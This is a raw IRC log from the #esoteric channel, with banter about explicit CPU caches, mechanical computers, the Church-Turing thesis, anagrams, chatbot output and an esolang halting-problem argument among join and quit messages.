PRIVMSG #esoteric :just they're only allowed to be used for read-only data < 1393727395 812875 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :presumably to prevent synchronization problems < 1393727519 947229 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, my idea is different, make one that has no implicitly managed cache, and that the cache is only explicit. < 1393727537 221769 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1393727623 163171 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1393727672 12700 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Same with pipelining, parallization, etc, are all only working explicitly. < 1393727695 947820 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: are you familiar with what happened to the Itanium? < 1393727712 238071 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it required explicit specification several things on every instruction < 1393727718 579890 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and this probably made it fail, because compilers couldn't keep up < 1393727785 373036 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Then just tell it don't use such things. You can hand-code those things in if you need it. < 1393727977 249932 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, then it would be really slow on programs that didn't have those indications, by modern standards < 1393728008 327068 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, you'd be able to fit less in an explicitly managed cache than an implicit one < 1393728017 779114 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because the cache management instructions need to be stored in the cache < 1393728051 999415 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, but also make the microcode reprogrammable and use microcode RAM as cache. < 1393728088 280030 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that sounds like an esolang idea < 1393728101 281493 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe < 1393728103 355655 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :a processor that loads things into cache implicitly < 1393728107 408029 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :using a certain algorithm < 1393728113 533497 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and what happens to be in cache is interpreted as microcode < 1393728179 28990 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can post them in esolang list of ideas < 1393729693 370144 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393729992 254746 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1393730022 944711 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1393730034 780966 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1393730113 92633 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1393730390 609000 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1393730444 370653 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Things I have done in the past few hours: < 1393730453 208377 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Walked to a cinema and watched the Lego movie < 1393730455 7709 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Walked back < 1393730461 180895 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1393730461 369261 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1393730472 535621 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Went to the tail end of a masquerade ball < 1393730533 16992 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1393730665 97567 :Tritonio!~Thunderbi@77.49.58.38.dsl.dyn.forthnet.gr QUIT :Ping timeout: 240 seconds < 1393731446 357542 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Then I did some other stuff < 1393732091 766504 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393732659 879133 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What kind of other stuff? < 1393732827 719473 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Mainly, wandering into places while wearing a suit < 1393732925 309196 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :At 3 am < 1393734084 125626 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 245 seconds < 1393734102 76422 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1393734403 864344 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You have said that GUST OF WIND has been renamed as POKEMON CATCHER and is a very good card in the new format. Actually, it is very good card in the old format too. < 1393734772 859463 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It can be useful if opponent's cards have high retreat cost, and might need a lots of energy for attacking, or if you are also resisted to them. It can also be used if they are resisted to you, and if your cards attack both active cards and bench cards, then you can avoid to attack active pokemon cards in this way. < 1393734805 868029 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It may also be used, if you have one side card, to switch into the card that you can knock out and win right away. < 1393735366 517372 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :This game uses extremely bad AI; they keep doing things which are advantageous to me. < 1393735850 350194 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393736141 544797 :nooodl!~nooodl@91.177.108.54 QUIT :Quit: Ik ga weg < 1393736205 707650 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1393736682 368660 :quintopia!~quintopia@unaffiliated/quintopia QUIT :Remote host closed the connection < 1393736689 376561 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1393738434 657098 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1393739887 201384 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393739919 92400 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393740169 93783 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1393740791 837600 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393743882 87244 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393746017 772436 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393746455 530674 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Or even if you have three side cards and then you can use GUST OF WIND and SWITCH and possibly win on one turn using that! < 1393746838 39724 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393747251 910306 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1393747512 101122 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393747572 289641 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Client Quit < 1393747748 573898 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393748110 155549 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393748436 131667 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1393748793 597871 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1393749284 290812 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 252 seconds < 1393750432 38166 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :all this gnu assembler talk i the logs made me wonder if there's an assembler called "plasma". apparently there is a 6502 VM/Assembler by that name < 1393750438 824943 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*in < 1393750609 673615 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no particularly promising hits for liquid assembler. and solid assembler is something completely different. < 1393750711 533667 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and the solid graphics wiki looks completely dead. < 1393750781 193005 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as in unchanging. < 1393750803 572948 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393750917 104064 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393751065 566374 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1393751161 91175 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1393754228 469918 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393754279 442557 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The Bose-Einstein condensate assembler. < 1393756596 998827 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://web.cs.dal.ca/~boardman/viz/proj/EnthusiASM.pdf < 1393756640 58208 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's a state of mind, not matter, Jafet < 1393756706 546072 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Does the mind not matter? < 1393756977 576366 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`addquote Ugh still hungry After having a ball of salt (not a literal ball of salt0 Try a literal ball of salt. < 1393756980 506524 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1173) Ugh still hungry After having a ball of salt (not a literal ball of salt0 Try a literal ball of salt. < 1393758486 566609 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393758662 764443 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393758664 731665 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393760770 509665 :nooodl!~nooodl@91.177.108.54 JOIN :#esoteric < 1393760882 277116 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1393760982 883646 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1393761475 549330 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1393762315 579741 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ACTION observes someone on Reddit claim that the Church-Turing thesis implies that typical computers can run without electricity < 1393762360 180856 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :run? most computers don't even have legs! < 1393762450 483055 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393762618 577703 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I suddenly thought I should check out Eiffel a bit, but apparently most of the tutorial is about a new process for making software the eiffel way, not about the language < 1393765297 940034 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393765429 553310 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1393766546 421347 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :ais523: Technically, you could make an entirely mechanical computer =P < 1393766567 297653 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :It probably wouldn't be very efficient < 1393766577 776830 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :FreeFull: I put the "typical" in there because I knew someone was going to make that particular, inapplicable-in-context, nitpick < 1393766596 726576 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, is the Analytical Engine entirely mechanical? IIRC, although Babbage never built it, someone else later built one from his plans, and it did indeed work < 1393766624 425071 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :It is, but I think there is enough resistance that you need an electric motor to power it < 1393766667 356939 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Although I guess an engine with a flywheel should work too < 1393766700 325807 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah no, it was the Difference Engine that got built < 1393766709 18230 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :couldn't you just use a counterweight? < 1393766735 627217 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Flywheel would be better if you want to provide continuous power < 1393766815 30955 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :flywheels that powerful are really hard to make < 1393766819 494315 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and also kind-of hard to extract energy from < 1393766833 32604 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :they have a tendency to explode if you try to store too much energy in them < 1393766844 67189 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'd rather have a weight attached to a spool of rope, dangling over a cliff < 1393766919 614312 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :A powerful electric motor would probably be best < 1393767081 590937 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what about a petrol (gasoline) engine? < 1393767088 821338 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, better, diesel < 1393767093 46112 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so you don't need spark plugs < 1393767248 730135 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Watermills < 1393767326 736483 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(Masterwork obsidian watermills, if you like) < 1393767350 698085 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i see dorfs? < 1393767372 498711 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393769550 346540 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1393769907 619426 :atrapado!~ddd@unaffiliated/atrapado JOIN :#esoteric < 1393770696 140903 :password2!~password@197.78.173.68 JOIN :#esoteric < 1393770697 592496 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :12:11:55: * ais523 observes someone on Reddit claim that the Church-Turing thesis implies that typical computers can run without electricity < 1393770709 489853 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :nobody fucking understands the church-turing thesis < 1393770721 154590 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i've argued with people who seriously think the human brain is turing complete < 1393770740 914463 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well it's as complete as a regular computer < 1393770756 778150 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Complete up to memory space and functioning time < 1393770816 855257 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Maybe they mean "Turing complete" in the sense that Turing had one too. < 1393770849 130469 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Then again no physical thing is Turing complete < 1393770863 803018 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Even in an infinite universe < 1393770874 611639 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Because of the bloody cosmological expansion < 1393770974 565682 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Murray was Turing-hard. < 1393770990 574977 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Do you mean Murray the satanic skull? < 1393771027 8509 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :http://www.youtube.com/watch?v=8FJSGe6MVpU < 1393771198 418448 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393771983 532184 :boily!~boily@96.127.201.149 QUIT :Quit: SHUFFLED CHICKEN < 1393772711 670066 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`ddg anagram chicken < 1393772712 543467 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ddg: not found < 1393772728 67045 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`duck anagram chicken < 1393772728 789589 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: duck: not found < 1393772765 990289 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh, wait. that must be the wrong bot, since it doesn't have easy internet access. But which was it? < 1393772770 690230 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :~duck anagram chicken < 1393772985 991718 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :The bots are abandoning us! What do they know that we don't? < 1393773201 308094 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1393773204 132069 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Wow, the April fool's day jokes are starting already? http://www.theinquirer.net/inquirer/news/2331400/the-paper-printer-will-be-dead-in-four-years-says-ieee < 1393775024 908443 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: duck anagram chicken < 1393775025 369249 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: i turned my flashlight to the corner where the downward slant met the inward slant. she seemed to crystallize at a point where the curwen farm, where they had never seen the man, but had difficulty. then in the end the officials took no action, but carefully set down the new york tribune, in which mr. merritt in curwen's farmhouse more than a week. < 1393776014 472501 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1393776069 827109 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :~duck anagram chicken < 1393776094 882253 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :ah, you tried that already... anyway, metasepia is only here when boily is < 1393777033 766237 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot's got fun < 1393777034 175686 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: " he built him a house in the hills had sounded, and all round on the north rim of the plateau near the crest whence i had first reached the central chamber as well, he might show me something rather unusual something a bit hysterical in his occasional exhilaration, while his moods of fright and depression were altogether too frequent. the old bookseller had told him about the fright of the dunwich people by giving any h < 1393777110 57225 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot should write a novel < 1393777110 279481 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: unseen fingers grip me... ghost fingers that lack the physical strength to force me to < 1393777149 737007 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :which we can then give to children in order to train them in fungot's style. < 1393777149 922298 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: the fnord attempt was a fnord cut of a hideous cult of nocturnal worshippers whose strange customs descended from fnord and laboratory supply houses. < 1393777155 373123 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot's style of writing seems familiar. < 1393777155 557992 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: document modified: < 1393777178 329051 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :But now a fungot twist < 1393777178 514517 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: " to my ancestor, gilbert de la poer, and i answered. he remembered one particular village of the creatures seemed not quite usual in their aspects and motions, and making it more and more < 1393777211 868236 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :wait, who did s/Cthulhu/fnord/g there? < 1393777233 605401 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(That's my association at least.) < 1393777332 428760 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot knows better than to mention fnord by its true name(s) < 1393777332 614074 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: but as the weeks passed without further disclosures there began to float a picture of what had disappeared, whilst there had formed on the chest a very peculiar specimen. the proportions of its body seemed slightly altered in a queer antarctic haze such a haze, perhaps, which the maniac ( if maniac he were) yearned to avenge. < 1393777476 11499 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Gonna put some COOL GRAPHICS in my boot man < 1393777481 121643 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Maybe a wicked skull??? < 1393777505 87879 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :But for now, I just put it in SUPER VGA mode and filled the screen white < 1393777507 907232 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's see if it works < 1393777940 394523 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Yes, white screen! < 1393777946 313913 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Now to fill it with amazing graphics < 1393778423 912685 :blotter!~blotter@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1393778611 988648 :blotter_!~blotter@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1393778651 537934 :blotter_!~blotter@75-121-39-142.dyn.centurytel.net QUIT :Client Quit < 1393778664 674781 :blotter!~blotter@75-121-39-142.dyn.centurytel.net QUIT :Client Quit < 1393778682 3708 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1393778932 398234 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so "check elfish fund" is an anagram of "shuffled chicken". < 1393779023 379615 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so is "filched hen fucks", and that ends my session with the internet anagram finder. < 1393779113 255254 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Rand Paul is an anagram of PANDA URL < 1393779214 619030 :variable!root@freebsd/developer/variable NICK :constant < 1393779264 908202 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://wordsmith.org/anagram/hof.html has a couple of cute ones < 1393780001 739147 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393780097 520221 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393780248 78213 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393780298 792493 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393780298 977440 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393780521 302629 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : A powerful electric motor would probably be best <-- clearly only a steam engine would be proper hth < 1393780935 565988 :password2!~password@197.78.173.68 QUIT :Read error: Connection reset by peer < 1393780943 283741 :newsham_!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :plus it can remove wrinkles < 1393781552 732484 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393782097 122754 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 240 seconds < 1393782197 785750 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is it unethical to buy a VIP for WorldsPlayer? The company is a bit of a patent troll < 1393782295 379556 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :itt Sgeo ethically gets sued < 1393782314 379750 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Internet Relay Ethics. < 1393782322 340005 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am feeling a bit down today < 1393782351 148040 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION ties helium balloons to Taneb  < 1393782363 149255 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Now I am stuck to the ceiling < 1393782368 478994 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Typing is somewhat difficult < 1393782375 319553 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but you're no longer down, right? < 1393782384 435530 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mission accomplished! < 1393782391 694702 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Well, I am no longer literally down < 1393782440 757479 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Metaphorically I still feel somewhat down < 1393782442 526266 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :A little tied up there? < 1393782446 429341 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Too late now < 1393782447 286936 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Although less so than before < 1393782512 955518 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thank you oerjan < 1393782524 64156 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you're welcome < 1393782525 213465 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1393783332 752624 :Phantom__Hoover!~phantomho@146.66.56.199 JOIN :#esoteric < 1393783332 752745 :Phantom__Hoover!~phantomho@146.66.56.199 QUIT :Changing host < 1393783332 752814 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393783749 79076 :atslash!~atslash@playisland.ru JOIN :#esoteric < 1393783988 309303 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :the internet is moving too fast today < 1393783993 950702 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :the ideas of march are flying < 1393784083 242582 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hi quintopia < 1393784095 884724 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what? what now? < 1393784099 605107 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :stop the world < 1393784110 550462 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i realized resPairate-exactly-2 has a solvable halting problem < 1393784122 882908 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that is, if you use only (n,2) pairs < 1393784142 645330 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1393784164 360877 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :really? i cannot fathom what that means in the context of an ever-growing thing < 1393784167 154548 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.reddit.com/r/SubredditDrama/comments/1zc63k/who_is_to_blame_for_mtgox_collapsing_and_losing/ < 1393784202 270807 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: it's not _necesarily_ ever-growing. you can have (0,2) pairs. < 1393784205 586969 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+s < 1393784242 100210 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :right, but all the programs that do interesting things will clearly be the ones that get ever longing, constantly dragging around and duplicating useless chaff < 1393784248 190499 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :*longer < 1393784257 606288 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose. < 1393784291 44547 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Will Haskell ever be fully dependently-typed? < 1393784297 241635 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can hardly look at Haskell when I see Idris < 1393784302 55027 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Even for more trivial things < 1393784322 464495 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Like instead of type synonyms, just a simple definition < 1393784329 694548 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Will Sgeo ever find a language which doesn't disappoint him? < 1393784347 95360 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :No. Even if I made my own, the lack of libaries would disappoint me. < 1393784375 940081 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :MyInt : Type < 1393784378 232559 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :MyInt = Int < 1393784389 746272 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Sgeo: try opening up the wolfram language and fixing the things you don't like. probably easier than writing all those libraries yourself :D < 1393784426 896978 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hadn't heard of it until now < 1393784429 984244 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but rename it to "sgeo language" first (or ego language?) < 1393784443 121497 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :olsner: no. ego is gregor's thing < 1393784465 127387 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: anyway the thing is, if (n,2) is the largest pair in your queue, then if it survives one cycle there will be two (n,0) at most n apart, and then they can never both be deleted again. < 1393784505 379298 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(and the one which isn't deleted will be duplicated for the next cycle) < 1393784519 706813 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :er, *(n,2) < 1393784567 755272 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :sure... < 1393784575 850546 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and i think this also means the number of such close pairs can never shrink < 1393784607 925794 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ah, so something like conway's argument for look-and-say < 1393784655 917031 